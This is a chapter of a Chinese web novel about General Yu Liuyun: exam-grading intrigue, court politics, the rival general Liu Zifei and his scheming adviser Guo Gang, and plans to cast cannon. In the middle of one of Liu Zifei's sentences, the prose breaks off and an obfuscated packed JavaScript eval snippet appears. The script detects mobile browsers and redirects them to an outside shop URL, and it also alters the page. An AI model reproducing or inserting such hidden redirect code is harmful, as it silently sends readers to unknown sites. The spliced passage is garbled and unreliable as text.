“你什么意思?”刘子飞道,“玉旒云又不是什么文曲星下凡,她能看出文章的高下来么?郭先生就……” 话还没说完,郭罡突然也道:“正是,我看着卷子的确应该玉大人亲自批阅。”说着,就把刘子飞递给他的那一份放了回去。 玉旒云皱了皱眉头,待人把卷子送上来,看了看第一份的题目,差点儿没拍案而起——《论穷兵黩武》!这叫什么题目?她又看下一份——《论武夫乱国》。再看第三份、第四份……一直到把十份都翻过,竟然篇篇都是含沙射影谴责樾军侵略郑国的。瞥一眼张、刘两位大人,正傲然地看着自己:不消说,这题目是他们特别出来骂人泄恨的。 哼,玉旒云想,你们想气我,我偏偏不受你们激。因冷冷一笑,道:“这么高明的考题是哪一位大人的手笔?还是二位共同商议的?” “是老夫拟的!”张大人抢先回答,似乎已经做好了舍身取义的准备。 玉旒云偏不成全他,笑道:“这题目果然新颖得很。我乃是一介武夫,这些学子每一个人的学术造诣都比我高得多。我实在看不出哪一篇好。不知两位大人是何意见?” 刘大人不甘让张大人独自杀身成仁,这时就抢着道:“老朽也觉得每篇都好,因为每一篇都切中肯綮,现在在朝中做事的人看了随便哪一篇都会获益匪浅的。” 玉旒云知他也是转着弯儿骂自己,就笑了笑,道:“可不是。依我看《论穷兵黩武》这一篇咱们所有带兵的人都应该拜读,而《论武夫乱国》这一篇也许刘将军看过会很有心得。” 刘子飞本来听到这文章题目,也猜出是骂玉旒云的,正心里得以,不想竟然被砸到自己头上来了,不由火冒三丈:“玉旒云,你说什么!” “怎么?”玉旒云煞有介事地捧起那篇《论武夫乱国》来,念道,“只识以武力论高下,则常恃强凌弱,凡事以胜败论英雄,故多鼠目寸光。攻占虽多,不谙治理,杀戮甚重,懒于抚恤。其教本国之民也,仿佛艺人驯兽,不说仁义礼治,只谈言听计从;其待毗邻之邦也,犹如泼皮当道——凡非我者皆我敌也,可杀也,可夺也——此岂天下之福邪?”读到这里,笑着瞥了刘子飞一眼:“刘将军,你觉得这话说的没道理么?” 刘子飞自己也是将门之后——他的父亲当年跟着樾太祖皇帝一起打天下。他虽然不喜欢之乎者也,却也听得懂秀才拽文,晓得玉旒云是暗指自己在北线烧杀掳掠之事。他对此并不在乎,也不觉得自己的行为有何过错。樾国本是草原游牧部族,最开始向外扩张之时就是以掠夺牲口、奴隶为主要目的的。虽然建立帝国称霸以方之后,太祖皇帝也意识到四处抢劫破坏决不是长久之计,所以明令禁止屠杀俘虏滋扰百姓。不过许多老将都抢惯了,太祖、太宗都睁一只眼闭一只眼;似刘子飞等第二代军官有继续跟着上一辈做的,也有遵行新令的,但是大家互相客客气气,谁也不干涉谁;而像玉旒云、石梦泉、罗满等第三代军官,自己都恪守军令严禁无故屠杀,但因为初出茅庐,还不曾和老一辈正面冲突,所以没人到朝廷正式弹劾老将,因而到如今这军令还是形同虚设,刘子飞更只当它是不存在的。他毫不在意玉旒云的指责,只是痛恨这小丫头和自己作对的态度,因此冷笑了一声,道:“呵呵,果然说得很有道理。你不如把那《论穷兵黩武》也念来听听,看看是不是很像你?”说时,生怕玉旒云会护短,大步走上前去将那一叠卷子都抢了过来,自己高声读道:“穷兵黩武者,随意兴兵以填私欲,劳民伤财以显军威,欺凌弱小以扰边境——啧啧,玉大人,你好像每一样都沾上了嘛!” 这些题目本是为讽刺玉旒云和樾军而出,文章又是张、刘两位大人特特挑出来的,当然多少能和玉旒云占上边。刘子飞读了一篇不过瘾,又接连从后面的两三篇中找出些指桑骂槐的片断来高升诵读,竟浑然忘记自己也是樾军的一份子,指责樾军就是指责他。 张、刘两位大人准备好了玉旒云看到这些文章会勃然大怒将他二人砍头,那么他们也就算是以身殉国了。可实在没想到刘子飞竟然搀和进来,把矛盾的焦点完全转移。他们看玉旒云面无表情地立着,不知她究竟是何心思,有何打算。二人那视死如归的慨然本是和这计划联系在一起的,如今被打乱了,心中就慌乱起来,不晓得自己将面对什么。 终于,刘子飞也读累了,到茶几上去拿杯子。玉旒云才冷冷地开口:“刘将军对这些文章赞不绝口,不知你以为哪一份当是状元卷?” 要依刘子飞的意思,当然是哪一篇骂得厉害哪一篇就是最好,正思忖,郭罡在一边开口道:“将军,我倒有些意见,不知当讲不当讲?” 刘子飞当他是自己人,自然叫他但说无妨。 郭罡就道:“两位大人题目拟得冷僻,然而这些文章还能有如此精彩言论,可见这几位考生熟读圣贤之书,而且极有辩材。不过,我想国家选拔官员不是选谁会旁征博引,也不是选谁会雄辩滔滔,而是选谁能兢兢业业为朝廷办事,踏踏实实为百姓谋福,又或者是谁能解决眼下的问题——如果眼下的问题是战乱初定,郑地刚刚归顺大樾王朝,有许多和战乱有关的事需要善后,那就不是议论穷兵黩武或武夫当道有何害处,而是应该提出建议,要怎样抚百姓、示仪制、约官职、从权制、开诚心、布公道,唯其如此,郑地才能尽快从过去一年的混乱中恢复过来,百姓才能过上安居乐业的日子——两位大人说是不是?” 张、刘二人都是一愣:郭罡的话说得他们无法反驳,和这一番言论相比,他们的作为显得如此狭隘。不过,就此向樾人低头也不是读书人的所为。两人便都做出了不屑的表情,道:“话虽如此,但也要先拨乱反正吧!” 郭罡瞪着眼睛,仿佛很奇怪的样子:“拨乱反正?难道我军进城以来不曾如此吗?自去年你们的皇帝去世之后,各方诸侯乱哄哄你方唱罢我登场,国家哪里还有个国家的样子?我军进城之后上至百官,下至黎民,无不各司其职,各行其是,这还叫乱吗?请问两位大人想要再怎样拨乱反正呢?” “很简单,”张大人道,“就像这些卷子里所论述的,武夫当道势必乱国。要拨乱反正就要请玉将军将治理之权交给适合的文官,更应当还政于民,还政于郑人。” “我现在不是郑州选拔郑人做官吗?”玉旒云已经明白了郭罡的意图,原来他是下了套子让张、刘两位大人朝里钻,同时也给自己提示,需要选择那能够切实为国家为百姓办事的考生。这时,她就打断了张大人的慷慨陈词:“虽然圣上不日将派总督和总兵前来此地,但是本将军还是以为应该以郑人治郑——若不是我打算还政于民,还政于郑人,我何必还允许你们在江阳举行会试?郑国已亡,现在这里是我大樾国的东海三省。江阳不过是区区一座省城,凭什么举行会试?” 张大人一愣,玉旒云又接着说下去:“我本意用这次科考选拔几个才德兼备的官员将来好扶助新总督,你们却给我挑来一批只会耍嘴皮子骂人的家伙。我当然可以点那个嘴巴最厉害的做状元,将来他管理地方是好是坏,反正也与我无关。一旦出了什么纰漏,新总督自然唯二位大人是问,而三省百姓也会归罪于二位……啊,还有,我已经保举乔日新先生的长公子乔百恒做太守管理靖杨、乾窑等地。乔先生本人也在靖杨修筑水利。我打算上奏朝廷,让新科状元入工部营造司,专门协助乔先生监管全国水利工程。不知乔先生看到这些只会骂人不会做实事的新科进士会作何感想?”她知道乔日新在郑国人心目中就像无冕的帝王一样,放出收服此人的消息应该可以彻底击碎这些顽固遗老的最后自信——当然,这消息真假参半,只是收服乔百恒是确有其事,而乔日新反正被软禁了,她也不怕别人知道这老顽固的真实想法。 果然,张、刘两位大人和在场的许多郑国官员都露出了惊讶之色。但最吃惊的是刘子飞,万万也没有想到是郭罡在背后搞鬼,让自己把乔日新送到了玉旒云的手上。他失声道:“什么?姓乔的投降了你?” 玉旒云抬了抬眉毛,白他一眼:“刘将军怎么能这样说呢?我对乔先生早就仰慕万分。你在北方把人家逼得走投无路,他星夜逃亡来到乾窑,正好遇到我军将士与乾窑百姓共抗瘟疫。以乔先生兼善天下的仁德,怎么会袖手旁观?他率领全家和我军一起抗疫,甚至连自己的孙子都染上了疫病,他也决不肯丢下百姓离开。在这场患难之中他消除了对樾军的成见,此后,他说对那些只晓得自相残杀的各路诸侯厌恶不已,愿意效忠樾国,又举荐他的长公子给朝廷——我看他这不是投降,更不是向我投降,他只是做了件对百姓最有利的事。” 表面上这话是驳斥刘子飞,其实又是说给郑国的诸位官员听的。张、刘二人本来听到乔日新“变节”已经信心动摇,这时又听到“对百姓最有利的事”,那份顽固就全然崩溃,怔怔立着,再说不出话来。 玉旒云望了望他们,知道没有兴师问罪的必要,因只淡淡道:“如今这东海三省可谓百废待举,二位大人身为正、副总裁,不知在判卷子的时候可有见到什么人能够担当重任,恢复此地昔日繁华?” 张、刘二人默默地互望了一眼,张大人即道:“大约是有的,臣等可以回去重新判过。” 态度谦恭,又改口称“臣”,玉旒云知道目的已经达到,心中好不欢喜,但面上却不能表示出来,就毫无表情地点了点头,道:“那好,这事拖不得,举子们都还等着呢!” 张、刘二人垂首答应,捧着卷子退了出去。其余官员汇报、请示了各自的工作也便相继离开。刘子飞很是无趣,恰一个太监来到,跟他说歌舞已经准备好了,只等他去看,他正好把气出在这奴才身上,一脚将人踹倒,斥道:“歌舞?成天都看歌舞,就不能弄点新花样?” 太监被吓得不知所措。玉旒云就在一边冷笑道:“堂堂一个将军跟奴才过不去,有力气怎么不去练练身手?” 刘子飞腰一叉:“怎么,你想跟我比试?” “我可没那个工夫。”玉旒云一指桌上的公文,“而且我出手没轻没重,万一打伤了将军,将来到了万岁面前,岂不又是一通口水官司?” 刘子飞“哼”了一声:“你怎么不说我失手打死了你,从此就耳根清静了呢?”说着,两手一搓,又瞪那太监道:“还在那里挺尸做什么?不是带本将军去看歌舞么?” 太监生怕一不小心又要挨打,赶紧爬起来前面带路,刘子飞就气哼哼地走了。 郭罡还在原地站了一会,似乎是有话要对玉旒云说。玉旒云皱着眉头:“还不走?” 郭罡一笑:“大人方才那番应变可真是厉害,郭某都要刮目相看了。” 玉旒云心中得意,也知道这其中有一半是郭罡的功劳,但就是不要说给他听,只冷冷道:“我有什么本事还不需要你提醒我。不要在这里卖口乖。仔细刘子飞转回头来把你砍了。” 郭罡不生气,笑道:“我不是卖口乖。我是想提醒大人,攻占江阳就快一个月了,西京的圣旨也应该快到了。大人是不是该打点一切,预备回京了?” “这……”玉旒云正要接话,却看到石梦泉正匆匆朝这边走来,立刻改口道:“不需要你操心,你该陪着刘子飞看歌舞去吧!” 郭罡怔了一下,听到身后的脚步声,也就明白了过来,笑一笑,行礼告退。 石梦泉几乎与他擦肩而过,跨进御书房,即收住了脚步。玉旒云明白这是叫她屏退左右的意思,立刻就叫伺候笔墨的太监全都下去了。石梦泉才取出一只锦囊,道:“是万岁爷的信。” “啊……”玉旒云一惊:这郭罡,简直就是半个活神仙,他才说,庆澜帝的信就到了。不过,却不是正式派了人来宣旨,这样神神秘秘地送一个锦囊来,是何意思? 石梦泉道:“这是皇上的秘旨,是请蒋文亲自送来的。蒋文说正式任命顾长风和罗满的圣旨要迟几天才会到,顾长风将随圣旨前来上任,罗满那边会另外有人去宣旨。” 西京看来是出事了。玉旒云望了石梦泉一眼,拆开了锦囊。 “怎样?”石梦泉见她一目十行,焦急地问。 “赵王爷。”玉旒云把信递过去,“我们在富安写的第一封信皇上收到了,他当时就按照我们的要求发来调兵的手谕,可是后来却发现那个送信的人被杀死了。当时正好赵王爷回到京中过年。想来这是出于他的手笔。” 石梦泉也看完了庆澜帝的“秘旨”——与其说是秘旨,到不如说是求救信。因为北方蛮族再次被赵王爷击溃,蛮族可汗愿意向樾国称臣,所以赵王爷不需要再长期亲自镇守北方。现在他人就在西京之中。庆澜帝摸不准他会不会突然发难篡夺王位,所以现在寝食难安,只等着玉旒云和石梦泉回去救驾——既然郑国已经拿下,应该速速“凯旋归朝”,除了留一部分军队维持郑地秩序之外,其余士兵该全部带回西京,以防变故。 “带兵回京,这还需要他提醒我么?”玉旒云道,“幸亏这次把刘子飞给参倒了,否则赵王这老家伙说不定又玩什么花样要我们单独回京,把兵马交给刘子飞——哼,他肯定已经知道我们在西瑶的作为,现在大家已经撕破了脸来,他不会再拉拢我们,大家只有争个你死我活了。” 石梦泉锁眉沉思,并不回答。 “怎么?”玉旒云笑看着他,“你不是怕赵王同咱们翻了脸,你和愉郡主的亲事也就告吹了吧?” 石梦泉面上一红:“到这时候你还拿我来开玩笑——其实我是在想,记得赵王爷说过,他篡位这事也讲求‘天时、地利、人和’。当时他说三样他都有具备,只是还不成气候,所以要等。依我看,他手中有兵,朝中有人,同西瑶暗中勾结,跟蛮族其实也是表面交战实际联合,这‘人和’已经是很可观,这次他又回到了京城,所谓‘地利’也占了,我们带着兵在郑国打仗,对西京是鞭长莫及,这岂不是他的‘天时’?他却没有行动,究竟是在等什么呢?” 玉旒云也想不透——她不怕和赵王拼个死活,他只是忘不了当时这老奸巨猾望着她,叫出“素云公主”时的神情。“我可不是赵王肚子里的蛔虫,”她道,“如果他错失良机,那就是他自掘坟墓。兵来将挡,水来土掩,我倒要看看他能玩出什么花样来——把卢进、赵酋他们都叫来,我们商量商量回京的事!” 张、刘两位会试总裁这次是真的服了,因而办事的效率也提高了许多。过了三天,就重新递上十份卷子来。这十位举子虽然也依照考题论述了穷兵黩武军政乱国的害处,但大量的篇幅都花在分析郑地当前的形势,以及提出发展农商、恢复民生的建议。玉旒云看了之后没有专断,又问张、刘二位大人觉得谁当第一。两人各执一词。“正好”郭罡也在一边,玉旒云就瞥了他一眼。后者心细如尘,立刻就明白这是叫自己参与意见,却不好开口,便主动要求把有争议的两份卷子拿来看看。最终大家判出了一、二、三名,是为郑国最后的状元、榜眼和探花。玉旒云表示,为了名正言顺,她将上奏庆澜帝,由樾国礼部出面承认这次考试的成绩,接着正式由樾国的吏部从西京发出聘任书。但从今以后,郑地将不能够再举行会试,而郑国所有官员将任何职会由顾长风提议,樾国吏部定夺。 接下来就是设宴招待高中的考生。因为郑地依然贫困,军方早已严令禁止铺张浪费,所以请了状元、榜眼、探花来到,也无非就是一人赐了一杯酒,大家见个面而已——相比之下,刘子飞自己看歌舞享福,菜色还多一些。今年三甲都是廿多岁,和玉、石二人仿佛年纪。来之前,他们对这两位年轻军官各有所听闻,也各有所猜想,一见之下却全然是另一种感受:玉旒云这一个叫敌人闻风丧胆,却让郑国百姓开城相迎的少年军神,虽是女子却看不出一点娇弱之态。可能是大病之后她显得较平常纤瘦,但是反而显出另一种坚毅之感来,叫人不敢逼视。石梦泉是玉旒云麾下第一猛将,大家都想,这样一个指挥千军万马出入枪林箭雨的男人应该是冷硬且带着阴鸷的,不想一见之下如此温文平易,就好像是自己从小到大一起成长的兄弟一般。玉旒云只是在座上举杯向三甲祝贺,而石梦泉却亲自走下来同三甲一一寒暄关切勉励,连卢进等其他军官也都跟在后面贺三人登科之喜,三人胸中激荡,俱想:今后要竭尽所能,好好为百姓谋福,把自己在试卷中所提的建议都落到实处,方才不辜负今日石梦泉对大家的期望! 这之后又过了三天,庆澜帝的圣旨方才到了。顾长风护送着这份圣旨进了城,罗满和他不过半日之隔。玉旒云、石梦泉、刘子飞等诸人都要行三跪九叩之礼迎接圣旨——圣旨里说的没什么特别之处,无非是说祖先庇佑平定东方,现设立东海三省,令顾长风为总督,罗满为总兵,望两人“通力合作,勿负朕望”,云云。对东征将领的功过只字不提,只让他们速速整顿军队回归京师。刘子飞大是不解——自己把玉旒云骂成那样,怎么没像大青河战役一样,招玉旒云回京问罪的?莫非是想等大家回了京再一并算总账?而玉旒云心中却明白得很,因为赵王关系,庆澜帝现在不敢多说一言,免得引来杀身之祸。 顾长风和玉旒云素来不和,庆澜帝大约为免麻烦,也没有告诉他保举他当总督的人就是玉旒云。他和罗满在南方七郡治蝗时已经共事过,对这个人以及其上司石梦泉都还十分欣赏。以后和罗满共同治理东海三省,他有信心一定可以做出一番事业来。罗满在军中多年,对玉、石二人忠心耿耿,这时终于开始独当一面,他知道这其中必然少不了玉、石二人的提携保荐,不敢自傲,对二人还是谦恭有礼,感激不尽。玉旒云哈哈大笑道:“人家喜欢说我闲话,什么若非有个姐姐做了皇后绝对到不了今天的位子,不过你跟梦泉都是真刀真枪拼杀出来的,我倒看看那些无聊的人有什么话讲!”说时,瞥了刘子飞一眼,表示自己说的这个“无聊的人”就是他。但不等刘子飞发作,她又把目光转到了别处,对赵酋、卢进、慕容齐、韩夜和陈灏道:“你们可看到了,我们大樾国一向是以功绩来论英雄,罗满能有今日是因着他往昔的血汗。你们继续好好当差,好好立功,你们做大事的日子也不远。” “多谢将军鼓励!”五个督尉齐声答应,接着又去恭喜昔日旧同僚。 刘子飞在一边心里长了野草似的难受,暗想:还说不是靠裙带关系,先把一个平民出身的石梦泉扶上了将军位,现在又把一个出身连石梦泉都不如的罗满弄到了总兵的位子上,就快要和自己平起平坐了,将来若把这些毛头小子一个一个扶植起来,军中岂还有刘子飞的立足之地?如今吕异已死,老一辈的将领中还能领军的除了他就剩一个只晓得和稀泥的司徒蒙,再拿什么来和这些年轻一辈抗衡?也许庆澜帝不肯轻易怪罪玉旒云的一条原因就是军中除她之外再无旁人! 真是可恶!刘子飞想,难道年轻一辈的将领中除了玉旒云一党真的再没有别人了吗?搜肠刮肚——不是还有永泽公悦敏么!他豁然开朗:赵王军功显赫,悦敏也是能征善战,他们是天生的皇亲贵胄,岂是玉旒云这种外戚所能比?不过,赵王就要招石梦泉当女婿了……娘的,怎么事事都跟他作对?看来只有请郭罡想想对策。 这样盘算着,众人一散他就拉着郭罡到自己的寓所,全不知他的谋士早就把他卖给了玉旒云。 郭罡听了他的一番牢骚,嘿嘿笑道:“将军不必太过担心,。赵王爷招谁做女婿那还是没影儿的事,要紧的是先扳倒了玉旒云——别看这次万岁爷的圣旨里什么都没说,其实将军还没把玉旒云最大的一条罪状说出来呢!” 刘子飞抓抓后脑:“什么罪状?” 郭罡道:“她施下毒计杀害了吕将军,后来又想加害将军你……” “啊,这个……”刘子飞道,“死无对证的事,她大可以不承认。” 郭罡干笑了两声:“谁说死无对证?这事可由不得她!” “先生的意思?”刘子飞不解。 “想要铲除异己,这的确是玉旒云的意思。”郭罡道,“不过,那计策却不是她想出来的,全是出自于区区不才在下!” 刘子飞一愕,背后阵阵发凉:他当然知道郭罡开头投效的是玉旒云,当初还替玉旒云到瑞津来骗他和吕异出兵,后来又替玉旒云掩盖吕异死亡的真相,并促成了自己和玉旒云的“合作”。后来郭罡离开了玉旒云“投靠”自己,他也不是没怀疑过,但是一路上此人助自己攻城掠地,又帮自己搜刮财宝美女,还出谋划策在战报中说玉旒云的坏话……他已经几乎完全信任郭罡了,不想,这人竟曾经密谋要取自己的性命。不禁倒吸一口凉气。 郭罡却显得毫不在乎,道:“大人何须惊慌?我郭某人一向是跟了哪个主公就为哪个主公全力做事。之前我在玉旒云手下,她要我设法取你和吕将军的性命,我自然要替她办到。但将军福星高照,大难不死,我就向玉旒云建议同你合作,大家一同建功立业。她表面不说,心里却不乐意。后来我和将军你一起想出水淹靖杨的妙计,她竟以此为由想置我于死地——将军也见到了当日的情形,我的命还多亏将军救下来。试问,像玉旒云那样的一个主公,我怎能替她卖命?” 刘子飞将信将疑:“那你的意思是……” “将军回到西京就向万岁爷鸣冤,揭露玉旒云的毒计。”郭罡道,“而老夫就替将军做人证。” 刘子飞一惊:“哎呀,这怎么可以!万岁查问起来,先生岂不是……” 郭罡道:“有道是,士为知己者死。为了答谢刘将军的知遇之恩,老夫有什么不能做的?只要扳倒了玉旒云,其他的那些毛头小子能成何气候?将来军队就是刘将军你的天下了!”说着,竟向刘子飞长揖到地。 刘子飞却被这几句冠冕堂皇的话绕进去了,连忙扶起郭罡,道:“先生这是说的哪里话?先生一心助我,我自然也不能亏待了先生。在皇上面前,只要一口咬定是玉旒云想毒害本将军,她就一定逃不了罪责。而本将军会向皇上证明,你为人正直,不忍助纣为虐,所以特地把她的计划通报给我,使我逃过大难,从此我就收你在帐下——我也会向皇上给你求个一官半职——你就做我的军师如何?我的亲兵乃是黑甲骑兵,吕异的亲兵是银甲骑兵,现在都在驻地。既然吕异死了,他的士兵自然要收归我的麾下。一旦扳倒了玉旒云,收编她的部队,天下还有谁能与我抗衡?我可挥师南下,踏平楚国和西瑶,如此功业,先生与我都可以封地称王了!” 想得倒远,郭罡心里冷笑,口中却道:“原来将军也有亲兵,指挥别人的部队总不及自己的部队得心应手。” “我带着黑甲骑兵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728648|189571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 东征西讨的时候,玉旒云她还没出娘胎呢!”刘子飞道,“她自己出来带兵才不过两年时间,区区几营人马要不是禁军里带出来的,要不是从赵临川那里收编来的,和我的黑甲骑兵怎么能相比?一个黄毛丫头,要不是仗着自己有个皇后姐姐,皇上能让她把军国大事当儿戏?” 郭罡笑了笑:“她和将军你自然是不能相比。所以将军何必为她劳神?回到京中之后,将军就去和赵王爷套套交情,相信赵王爷得将军输诚,也就不需要拿女儿去笼络石梦泉了。” “果然!”刘子飞被郭罡绕得糊里糊涂,方才还满肚子郁闷,这时心情大好,“走走走,喝一杯去!” 郭罡笑着摇摇头:“将军自去开心吧,我却还想盘算盘算回西京之后的对策。” 刘子飞道:“也好。”浑不知郭罡盘算的对策是针对谁又是为了谁,他随手拽下栏杆外的一枝花来,挥了挥,花瓣全被抖落,他也哈哈笑着走远了。 郭罡轻轻地哼了一声:“刘士敬得这样一个儿子继承他的职位,九泉之下恐怕要痛哭流涕吧?” 四围没有一个人,他好像是在和鬼魂说话,而鬼魂只用木叶的沙沙声来回应他。他走了几步,看到遍地的花瓣,冷笑一声,踏了过去。 这个时候玉旒云也在部署回京的事。她先已计划好了,卢进稳重可靠,留下来和罗满一同镇守东海三省,一来可保地方长治久安,二来也给他建功升官的机会,三来——玉旒云交代道:“郑国虽然已经不复存在,但是他们的军队还有残余——对其中那临时招募来的,若想回家,就让他们回家务农,而愿意留下的你二人在此要好收编训练。尤其是郑国水师——之前我们收服铴国,也收编了他们的水师,只是一直未曾操练。铴国水师在神女关,郑国水师应该是在蓬莱城,虽然相隔甚远,不过以联合演习为名聚在一处操练也无不可。你们务必要把水师训练好,我不想落后于西瑶。” 卢进、罗满自然答应,让她尽管放心。 玉旒云又道:“其实我还有些厉害的东西,本来想带回京去,不过现在我又改变主意了。许昌不是还在跟乔日新的儿子一起修筑水利么?叫他暂时也不要回西京了,留在这里给我办事。” 罗满、卢进都不知她所指何事。石梦泉却大约猜到了。只听玉旒云继续道:“富安的码头有一艘西瑶福船,上面有火炮还有铸造书籍。你们叫许昌组织能工巧匠立刻着手研究,就地设立作坊,按照炼铁铸兵,制造火炮。” “火炮?”旁边的赵酋等人也都惊讶出声,“能有多厉害?火枪好像不顶什么事儿。” 玉旒云笑了笑,望望石梦泉,示意他来回答这个问题。石梦泉就把在西瑶段青锋所演示的火炮威力略略描述了一番:“火炮虽然也装弹费时,但是好在杀伤力大,一炮出去,敌人早就人仰马翻身首异处了,不像火枪,万一瞄不准,让敌人躲过,来不及再放第二枪,人家已杀到跟前了。” 赵酋听了,笑道:“那可好极了。以后楚国人再弄些什么梅花鹿土匪之类的来和我们作对,就先放一炮把他们炸平了,看他们还能玩出什么花样来。” 玉旒云道:“不错。西瑶除了从外洋学来铸造火炮的技术,他们自己的炼钢技术也非我国所能及。我带了他们的《铸造秘要》回来,按照这上面的方法铸造我国兵器,定然所向披靡。” “大人不是和石将军游玩散心么?”慕容齐道,“怎么去了西瑶?” 之前忙着攻打郑国,一直也没有时间解释,这时才能把这“说来话长”的事略略说了一下。“本来是西瑶邀我去结盟,我也打算和他们联合夹击楚国,不想他们竟然脚踩两条船。”玉旒云道,“如今我们的确是得到了火炮和《铸造秘要》,但是恐怕公孙天成这老狐狸也带着一船同样的宝贝回了楚国,现在说不定他们也开始研制起来了。” “着实可恶!”赵酋道,“西瑶就是想趁樾楚交战,他们好坐收渔人之利!” 玉旒云想起段青锋跟自己约定战后分割天下,不由冷笑:“区区西瑶,没有那么大的脑袋,就想戴这么大一顶帽子,也不怕自己被压死!收拾完了楚国再收拾他们——当务之急,叫许昌招集工匠,立刻着手研制兵器。” 这显然就是罗满的任务了,他答应下来,又问:“若论能工巧匠,可能还是西京多一些,大人有没有考虑过叫许昌跟你回京去,和工部的人一起研制?” 玉旒云当然考虑过,也和石梦泉商量过,只是,两人都觉得,回到西京之后究竟要面对什么还是个未知之数,与其让西京的杂物扰乱正事,还不如把火炮和炼钢的工程都留在南方。虽然郑地刚刚平定,但是百姓对玉旒云还算拥护,顾长风和罗满也一定能够稳住这边的局势,所以在很长的一段时间内,再没有什么地方比新建立的东海三省更适合做她的后方根据地了——赵王长年在北方和蛮族“作战”,估计是已经把那里当成了他的大后方,进可攻、退可守。既然赵王能如此,玉旒云为什么不能照葫芦画瓢?她要在东海三省发展生产,研制武器,训练军队。赵王永远也不要想把她困在京师。而时机一旦成熟,她从这里直接向楚国发兵,也节省了许多力气。 只是现在赵王的事还不能宣扬出来,免得引起混乱。她便只说道:“再千里迢迢把那船东西运回西京去,岂不麻烦?将来要和楚国开战时,又要从西京把火炮运下来,实在是花了双倍的力气。东西是死的,人是活的,工部营造司的人,我从那边借调过来就是了。” 罗满一拍脑袋:“果然是我驽钝了。大人放心,我一定把这事办妥。” 玉旒云就又交代了一些治理地方的话,多是从郭罡献的手札中看下来的。她想,顾长风一定不愿意听自己的意见,由罗满去说就好得多。罗满自然一一记下。 不觉已夜深,众位将领都告辞离去,只剩下玉旒云和石梦泉两人。 时近月末,天幕上一钩银色,星辉淡淡,显得无比寂静。玉旒云眺望遥远的西北,樾国的西京也在同样的夜幕下,但是酝酿着怎样的变乱呢? 石梦泉知道她的心思,轻轻道:“大人不是先也说过?兵来将挡,水来土掩,总有对策。” “可不是!”玉旒云笑道,“就不知愉郡主扑将上来,你要怎么对付?” 石梦泉无奈的:“你又来了。” 玉旒云道:“我怎么又来了?我是替你打算——谋反是满门抄斩的大罪。赵王爷是皇亲国戚,不能诛他的九族,但是愉郡主总是逃不了牵连。我们回京自然是帮皇上对付赵王爷,这事一旦开始就不能回头了。你是这样心软的一个人,你会舍得她?” 石梦泉觉得她的话似有双关,不自在地笑了笑。 玉旒云却不容许这样蒙混过关,扭过头来盯着他:“问你话呢,你舍不舍得?” “你这叫我怎么答?”石梦泉道,“按照律例自然她是难逃一死。不过赵王爷谋反是赵王爷的事,永泽公参与其中,还有那个容贵妃,他们事发受罚,是咎由自取,和愉郡主,还有……” 他本来想说赵王妃,却已经被玉旒云冷笑着打断了:“这么说你就是不舍得了?那你赶紧一回京就把她娶了,外嫁女不受牵连嘛。” “你这是说的什么话?”石梦泉感觉这有些无理取闹的意味,“是你非要我说她该不该死,我说了,你又来取笑我。” “我哪有取笑你……”玉旒云嘴里说着,却忍不住笑了起来,但突然厉声喝道:“谁?出来!” 听到小径上一阵悉唆之声,端木槿走了过来。“我并不是要偷听你们说话。”她道,“我只是想知道你们是不是要回西京了,什么时候启程。” 玉旒云眯着眼睛看了看她:“你是要跟我回去见林枢么?你不用着急。他当的是个闲差,平日就住在我府里,你跟我回西京就会见到她的。你为我军立下大功,我就求皇上给你二人赐婚——这件谢礼还合你心意么?” 端木槿脸上有些娇羞之色,但是很快又冷了下来:“我不是为你的军队做那些事的,我只是为了郑国的百姓。这毕竟是……毕竟是林大哥的祖国。” 嘴硬!玉旒云心里“哼”了一声,到头来还不是为了林枢?我和梦泉南下西瑶的消息还不知是不是林枢这小子放出去的。本来我是宁可错杀一万,不可漏网一人,全因你端木槿帮了我的大忙,我才打算网开一面……我要网开一面吗?怎么能做这种养虎为患的事情?如此一想,回京之后迅速收拾了林枢就成了当务之急。然而端木槿是个可用之材,倘叫她知道心上人死在我的手上,将来她还会忠心办事么?看来端木槿毕竟还是别带回京的好。却不知怎么留住她? 正想着,端木槿道:“林大哥我自会去见他。不过我目下不会跟你去西京。” “哦?”玉旒云不啻又惊又喜,“为什么?” 端木槿道:“惠民药局那里需要人帮忙,我已经答应他们了。”说到这里,又补充道:“你不要得意,我不是为你们樾国做事。我只是个大夫,哪里有病患,我就到哪里去。” 玉旒云暗暗好笑,道:“端木姑娘的确是个好大夫,玉某人佩服。所谓人各有志,林枢喜欢当官,你不喜欢,只要是做济世救人的好事,我为何要勉强呢?你随便什么时候来西京都好,反正林枢是不会跑的,你总能见到他。”下面有一层隐喻:叫我查出他心怀鬼胎,死人当然不会跑了。 端木槿没有接茬,微微欠了欠身就要离去。玉旒云便叫石梦泉:“你送端木姑娘出去,顺道也去拜访一下顾长风。” 石梦泉一怔:都这时辰了,去拜访顾长风?人家还要休息呢。 玉旒云道:“顾长风跟我一句话也说不上,但是很欣赏你。他才来第一天,你不亲自去拜见他一下,岂不是很没有礼貌?” 石梦泉皱起眉头:那也没有这个道理。 玉旒云却只是推他:“哪怕就是到他总督府的门口是转一圈,表示你来过了,也是好的。快去——” 石梦泉拗不过她,只好追上了端木槿。玉旒云看两个人的背影消失,就又冷冷地喝了一声:“还不出来?鬼鬼祟祟的,想躲到何时?” 小径边的树丛里又是一阵悉唆,郭罡笑着走了出来:“也不要躲到几时,就是等大人把石将军送走,否则石将军见到我来和大人说话,岂不是又要误会大人?” 玉旒云冷笑:“何以见得他就会误会我?我把你杀了,他不就不误会了么?” 郭罡还是微笑:“大人总是说要杀我。我这条命当然可以给了大人,不过也要死得值得才行呀。” 玉旒云斜睨着他,无声地命令:有话快说! 郭罡也不卖关子,就把刘子飞意图投靠赵王的计划说了,又讲了刘子飞准备到庆澜帝面前状告玉旒云谋害吕异的事。 